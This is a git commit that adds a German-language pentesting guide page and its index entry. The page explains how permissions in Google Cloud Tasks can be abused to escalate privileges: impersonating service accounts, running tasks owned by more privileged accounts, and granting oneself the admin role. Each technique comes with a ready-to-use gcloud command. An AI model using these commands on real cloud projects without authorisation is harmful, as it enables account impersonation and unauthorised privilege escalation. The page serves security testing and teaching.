Translated ['src/pentesting-cloud/gcp-security/gcp-privilege-escalation/

This commit is contained in:
Translator
2025-08-18 14:21:09 +00:00
parent 80f46685e9
commit fd0932dd85
2 changed files with 46 additions and 0 deletions

View File

@@ -107,6 +107,7 @@
- [GCP - Cloudfunctions Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md)
- [GCP - Cloudidentity Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md)
- [GCP - Cloud Scheduler Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md)
- [GCP - Cloud Tasks Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md)
- [GCP - Compute Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/README.md)
- [GCP - Add Custom SSH Metadata](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-compute-privesc/gcp-add-custom-ssh-metadata.md)
- [GCP - Composer Privesc](pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md)

View File

@@ -0,0 +1,45 @@
# GCP - Cloud Tasks Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Cloud Tasks
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
Ein Angreifer mit diesen Berechtigungen kann **andere Dienstkonten impersonifizieren**, indem er Aufgaben erstellt, die mit der Identität des angegebenen Dienstkontos ausgeführt werden. Dies ermöglicht das Senden von **authentifizierten HTTP-Anfragen an IAM-geschützte Cloud Run oder Cloud Functions**-Dienste.
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
```
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
Ein Angreifer mit diesen Berechtigungen kann **bestehende geplante Aufgaben ausführen**, ohne Berechtigungen für das mit der Aufgabe verbundene Dienstkonto zu haben. Dies ermöglicht die Ausführung von Aufgaben, die zuvor mit höher privilegierten Dienstkonten erstellt wurden.
```bash
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
```
Der Hauptbenutzer, der diesen Befehl ausführt, **benötigt keine `iam.serviceAccounts.actAs`-Berechtigung** für das Dienstkonto der Aufgabe. Dies ermöglicht jedoch nur das Ausführen vorhandener Aufgaben - es gewährt nicht die Fähigkeit, Aufgaben zu erstellen oder zu ändern.
### `cloudtasks.queues.setIamPolicy`
Ein Angreifer mit dieser Berechtigung kann **sich selbst oder anderen Benutzern Cloud Tasks-Rollen** für bestimmte Warteschlangen gewähren, was potenziell zu `roles/cloudtasks.admin` führen kann, das die Fähigkeit umfasst, Aufgaben zu erstellen und auszuführen.
```bash
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
Dies ermöglicht es dem Angreifer, vollständige Cloud Tasks-Administratorberechtigungen für die Warteschlange an jedes Dienstkonto zu gewähren, das er kontrolliert.
## References
- [Google Cloud Tasks Documentation](https://cloud.google.com/tasks/docs)
{{#include ../../../banners/hacktricks-training.md}}